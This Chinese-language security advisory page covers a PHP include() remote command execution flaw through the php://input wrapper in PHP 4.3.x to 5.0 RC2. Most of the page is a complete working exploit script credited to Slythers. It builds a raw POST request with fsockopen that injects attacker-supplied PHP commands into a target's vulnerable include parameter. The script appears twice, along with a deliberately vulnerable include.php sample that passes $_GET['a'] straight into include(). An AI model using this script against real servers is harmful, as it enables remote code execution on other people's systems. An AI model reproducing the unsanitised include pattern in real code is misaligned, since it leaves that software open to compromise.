| 关键词: PHP include 函数 命令 漏洞 Input target 攻击者 远程 Wrapper |
PHP Input/Ouput Wrapper远程包含函数命令执行漏洞 (Other,缺陷) 涉及程序: PHP Input/Ouput Wrapper 描述: PHP Input/Ouput Wrapper远程包含函数命令执行漏洞 详细: PHP是一种流行的WEB服务器端编程语言。 PHP的include()函数存在设计缺陷,远程攻击者可以利用这个漏洞可能以WEB权限执行任意命令。 PHP的一个设计错误,当URI数据作为'include()'函数的一个参数时,攻击者可以提交POST PHP命令来执行。此问题影响PHP自身模块,虽然问题只有当应用程序使用用户提供的URI数据作为 'include()'函数时才发生。 成功利用此漏洞可以WEB权限执行任意命令。 受影响系统:PHP PHP 5.0 RC2PHP PHP 5.0 RC1PHP PHP 4.3.6PHP PHP 4.3.3PHP PHP 4.3.2PHP PHP 4.3.1PHP PHP 4.3.0 攻击方法: 警 告 以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负! Slythers 提供了如下测试方法: <form action="" methode="post" >target server : <input type="text" name="server" ><br><br>target file (including URI parameter used in include() call ex:"index.php?includeParam=") : <input type="text" name="file" ><br><br>exec (enclose php commands between <? .. ?> tags): <input type="text" name="cmd" ><br><br><INPUT type="submit" value="send"></form> <?if($cmd){$message = "POST /".$file."php://input HTTP/1.1\r\n";$message .= "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";$message .= "Accept-Language: fr\r\n";$message .= "Content-Type: application/x-www-form-urlencoded\r\n";$message .= "Accept-Encoding: deflate\r\n";$message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; MyIE2)\r\n";$message .= "Host: ".$server."\r\n";$message .= "Content-length: ".strlen( $cmd )."\r\n";$message .= "Connection: Keep-Alive\r\n";$message .= "Cache-Control: no-cache\r\n";$message .= "\r\n";$message .= $cmd."\r\n";$fd = fsockopen( $server, 80 );fputs($fd,$message);while(!feof($fd)) {echo fgets($fd,1280);}fclose($fd);}?> 本地测试: php环境: PHP Version 5.2.6--------------------------------------------include.php-------------------------------------------------------------------- --------------------------------------------include.php-------------------------------------------------------------------- <?php$a=$_GET['a'];include($a);?> --------------------------------------------input.php-------------------------------------------------------------------- <form action="" methode="post" >target server : <input type="text" name="server" ><br><br>target file (including URI parameter used in include() call ex:"index.php?includeParam=") : <input type="text" name="file" ><br><br>exec (enclose php commands between tags): <input type="text" name="cmd" ><br><br><INPUT type="submit" value="send"></form> <?if($cmd){$message = "POST /".$file."php://input HTTP/1.1\r\n";$message .= "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";$message .= "Accept-Language: fr\r\n";$message .= "Content-Type: application/x-www-form-urlencoded\r\n";$message .= "Accept-Encoding: deflate\r\n";$message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; MyIE2)\r\n";$message .= "Host: ".$server."\r\n";$message .= "Content-length: ".strlen( $cmd )."\r\n";$message .= "Connection: Keep-Alive\r\n";$message .= "Cache-Control: no-cache\r\n";$message .= "\r\n";$message .= $cmd."\r\n";$fd = fsockopen( $server, 80 );fputs($fd,$message);while(!feof($fd)) {echo fgets($fd,1280);}fclose($fd);}?> --------------------------------------------input.php-------------------------------------------------------------------- 测试截图: |
|
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|